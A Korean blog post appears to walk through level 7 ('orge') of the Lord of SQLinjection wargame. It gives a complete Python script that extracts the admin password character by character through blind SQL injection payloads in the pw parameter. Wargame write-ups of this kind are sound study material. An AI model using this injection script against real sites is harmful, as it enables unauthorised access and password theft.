LJ

Lord of SQLinjection ( 7번 ) 본문

IT 보안/보안첼린지

Lord of SQLinjection ( 7번 )

짱준재 2024. 5. 17. 13:06

orge 문제이다.

 

 

 

 

 

 

코드 내용(아래 쿼리) 을 봤을 때 문제를 해결하려면 

 

 

 

 

 

 

 

 

admin의 pw를 알아내야한다.

 

그러기 위해 일단 pw의 길이부터 알아내야한다.

 

 

 

위 코드를 이용해 Blind SQl injection 수행 결과

 

 

패스워드의 길이는 8인 것을 알 수 있다.

 

다음은 admin의 pw의 값을 한 글자씩 알아본다.

 

 

 

 

import requests 
# requests 라이브러리를 임포트하여 http 요청을 보낼 수 있게 한다.

# 초기 비밀번호를 빈 문자열로 설정
pw = ''
url="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
cookies={'PHPSESSID':'inpc1vtk0dstarnptrplvsohk1'}
#공격 대상 URL과 쿠키를 설정
# 비밀번호의 최대 길이를 8로 가정하여 반복
#아스키코드 32~122까지의 문자를 검사
for i in range(1,9):
    for j in range(32,123):
        req=f"{url}?pw='|| id='admin'%26%26ascii(substr(pw,{i},1))={j}%23"
        #f는 파이썬에서 문자열을 포맷팅하는 방법 중 하나인 "f-string"을 나타낸다. f-string은 문자열 안에 중괄호 {}를 사용하여 변수나 표현식을 직접 삽입할 수 있게 한다.
        #예를 들어, 동일한 문자열을 f-string 없이 작성하려면 다음과 같이 작성해야 한다
        #req = "{}?pw='|| id='admin'%26%26ascii(substr(pw,{},1))={}#".format(url, i, j)
        res=requests.get(req,cookies=cookies)
        #위에서 생성한 요청을 서버에 HTTP GET 요청을 보낸다.
        print(req,'find:',pw)
        if ('Hello admin' in res.text):
            print(f"======={chr(j)}=========")
            pw+=chr(j)
            break
           
print(f"=====(pw :{pw})====")

 

 

 

를 통해 비밀번호를 다음과 같이 알아낸다.

 

 

 

 

 

알아낸 비밀번호를 통해 문제를 해결할 수 있다

 

 

 

 

 

 

 


 

 

 

 

 

 

 

'IT 보안 > 보안첼린지' 카테고리의 다른 글

XSS game level 5  (0) 2024.05.20
XSS game level4  (0) 2024.05.17
Lord of SQLinjection ( 6번 )  (0) 2024.05.16
Lord of SQLinjection ( 4번 )  (0) 2024.05.14
Lord of SQLinjection ( 3번 )  (0) 2024.05.13
Comments